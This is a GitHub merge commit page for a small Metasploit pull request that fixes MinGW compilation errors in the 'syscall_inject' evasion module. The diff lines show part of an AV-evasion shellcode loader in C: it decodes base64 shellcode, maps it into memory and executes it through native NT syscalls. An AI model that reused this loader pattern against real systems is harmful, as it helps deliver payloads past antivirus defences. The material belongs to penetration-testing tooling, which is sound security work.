Merge pull request #21092 from sjanusz-r7/fix-macos-mingw-syscall_inject-compilation

Fix syscall_inject compilation errors on MacOS with MinGW 15
This commit is contained in:
adfoster-r7
2026-04-27 12:09:19 +01:00
committed by GitHub
+2 -3
View File
@@ -462,8 +462,7 @@ class MetasploitModule < Msf::Evasion
PBYTE shellcode = (PBYTE)malloc(b64len);
SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);
PVOID bAddress = NULL;
int process_id = GetCurrentProcessId();
cID.UniqueProcess = process_id;
cID.UniqueProcess = ULongToHandle(GetCurrentProcessId());
NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);
NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int n = 0;
@@ -490,7 +489,7 @@ class MetasploitModule < Msf::Evasion
NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);
#{s if datastore['SLEEP'] > 0};
HANDLE thread = NULL;
NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);
NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, 0, 0, 0, 0, NULL);
WaitForSingleObject(thread, INFINITE);
NtClose(thread);
NtClose(pHandle);